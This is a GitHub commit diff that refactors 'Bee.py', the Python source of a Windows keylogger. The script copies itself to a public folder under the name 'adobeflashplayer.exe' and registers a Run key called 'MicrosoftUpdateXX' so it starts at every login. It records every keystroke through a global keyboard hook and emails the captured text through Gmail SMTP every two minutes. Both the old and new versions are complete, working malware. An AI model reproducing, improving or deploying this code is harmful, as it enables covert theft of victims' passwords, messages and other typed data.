Skip to content

Commit 4b9dcb4

Browse files
author
franklin
committed
Update syntax
1 parent 6b3cfe3 commit 4b9dcb4

File tree

1 file changed

+73
-89
lines changed

1 file changed

+73
-89
lines changed

Templates/Bee.py

Lines changed: 73 additions & 89 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,11 @@
11
import pythoncom
22
import pyHook
33
from os import path
4-
import threading
5-
import urllib,urllib2
4+
from time import sleep
5+
from threading import Thread
6+
import urllib, urllib2
67
import smtplib
7-
import datetime,time
8+
import datetime
89
import win32com.client
910
import win32event, win32api, winerror
1011
from _winreg import *
@@ -13,103 +14,86 @@
1314

1415
ironm = win32event.CreateMutex(None, 1, 'NOSIGN')
1516
if win32api.GetLastError() == winerror.ERROR_ALREADY_EXISTS:
16-
ironm = None
17-
print "nope"
18-
sys.exit(0)
17+
ironm = None
18+
print "nope"
19+
sys.exit()
1920

2021
x, data, count= '', '', 0
2122

2223
dir = r"C:\Users\Public\Libraries\adobeflashplayer.exe"
2324

2425
def startup():
25-
shutil.copy(sys.argv[0], dir)
26-
aReg = ConnectRegistry(None,HKEY_CURRENT_USER)
27-
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
28-
SetValueEx(aKey,"MicrosoftUpdateXX", 0, REG_SZ, dir)
26+
shutil.copy(sys.argv[0], dir)
27+
aReg = ConnectRegistry(None, HKEY_CURRENT_USER)
28+
aKey = OpenKey(aReg, r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", 0, KEY_WRITE)
29+
SetValueEx(aKey,"MicrosoftUpdateXX", 0, REG_SZ, dir)
2930
if not path.isfile(dir):
30-
startup()
31+
startup()
3132

32-
class Timer(threading.Thread):
33-
def __init__(self):
34-
threading.Thread.__init__(self)
35-
self.event = threading.Event()
36-
def run(self):
37-
while not self.event.is_set():
38-
global data
39-
if len(data) > 50:
40-
ts = datetime.datetime.now()
41-
SERVER = "smtp.gmail.com"
42-
PORT = 587
43-
USER = EEMAIL
44-
PASS = EPASS
45-
FROM = USER
46-
TO = [USER]
47-
SUBJECT = "B33: "+str(ts)
48-
MESSAGE = data
49-
message = """\
50-
From: %s
51-
To: %s
52-
Subject: %s
53-
%s
54-
""" % (FROM, ", ".join(TO), SUBJECT, MESSAGE)
55-
try:
56-
server = smtplib.SMTP()
57-
server.connect(SERVER, PORT)
58-
server.starttls()
59-
server.login(USER, PASS)
60-
server.sendmail(FROM, TO, message)
61-
data = ''
62-
server.quit()
63-
except Exception as error:
64-
print error
65-
self.event.wait(120)
33+
34+
def send_mail():
35+
global data
36+
while True:
37+
if len(data) > 30:
38+
timeInSecs = datetime.datetime.now()
39+
SERVER = "smtp.gmail.com"
40+
PORT = 587
41+
USER = EEMAIL
42+
PASS = EPASS
43+
FROM = USER
44+
TO = [USER]
45+
SUBJECT = "B33: " + timeInSecs.isoformat()
46+
MESSAGE = data
6647

67-
def main():
68-
global x
69-
em4 = Timer()
70-
em4.start()
71-
return True
48+
message_payload = "\r\n".join((
49+
"From: %s" %FROM,
50+
"To: %s" %TO,
51+
"Subject: %s" %SUBJECT,
52+
"",
53+
MESSAGE))
54+
try:
55+
server = smtplib.SMTP()
56+
server.connect(SERVER, PORT)
57+
server.starttls()
58+
server.login(USER, PASS)
59+
server.sendmail(FROM, TO, message_payload)
60+
data = ''
61+
server.quit()
62+
except Exception as error:
63+
print error
64+
sleep(120)
65+
7266

7367
if __name__ == '__main__':
74-
main()
68+
triggerThread = Thread(target=send_mail)
69+
triggerThread.start()
7570

7671
def pushing(event):
77-
global x,data
78-
if event.Ascii == 13:
79-
kkss=' [ENTER] '
80-
elif event.Ascii == 8:
81-
kkss=' [BACKSPACE] '
82-
elif (event.Ascii == 162 or event.Ascii == 163):
83-
kkss = ' [CTRL] '
84-
elif (event.Ascii == 164 or event.Ascii == 165):
85-
kkss = ' [ALT] '
86-
elif (event.Ascii == 160 or event.Ascii == 161):
87-
kkss = ' [SHIFT] '
88-
elif (event.Ascii == 46):
89-
kkss = ' [DELETE] '
90-
elif (event.Ascii == 32):
91-
kkss = ' [SPACE] '
92-
elif (event.Ascii == 27):
93-
kkss = ' [ESC] '
94-
elif (event.Ascii == 9):
95-
kkss = ' [TAB] '
96-
elif (event.Ascii == 20):
97-
kkss = ' [CAPSLOCK] '
98-
elif (event.Ascii == 38):
99-
kkss = ' [UP] '
100-
elif (event.Ascii == 40):
101-
kkss = ' [DOWN] '
102-
elif (event.Ascii == 37):
103-
kkss = ' [LEFT] '
104-
elif (event.Ascii == 39):
105-
kkss = ' [RIGHT] '
106-
elif (event.Ascii == 91):
107-
kkss = ' [SUPER] '
108-
else:
109-
kkss=chr(event.Ascii)
110-
data=data+kkss
111-
112-
hee = pyHook.HookManager()
113-
hee.KeyDown = pushing
114-
hee.HookKeyboard()
72+
global data
73+
keys = {
74+
13: ' [ENTER] ',
75+
8: ' [BACKSPACE] ',
76+
162: ' [CTRL] ',
77+
163: ' [CTRL] ',
78+
164: ' [ALT] ',
79+
165: ' [ALT] ',
80+
160: ' [SHIFT] ',
81+
161: ' [SHIFT] ',
82+
46: ' [DELETE] ',
83+
32: ' [SPACE] ',
84+
27: ' [ESC] ',
85+
9: ' [TAB] ',
86+
20: ' [CAPSLOCK] ',
87+
38: ' [UP] ',
88+
40: ' [DOWN] ',
89+
37: ' [LEFT] ',
90+
39: ' [RIGHT] ',
91+
91: ' [SUPER] '
92+
}
93+
keyboardKeyName = keys.get(event.Ascii, chr(event.Ascii))
94+
data += keyboardKeyName
95+
96+
hookManager = pyHook.HookManager()
97+
hookManager.KeyDown = pushing
98+
hookManager.HookKeyboard()
11599
pythoncom.PumpMessages()

0 commit comments

Comments
 (0)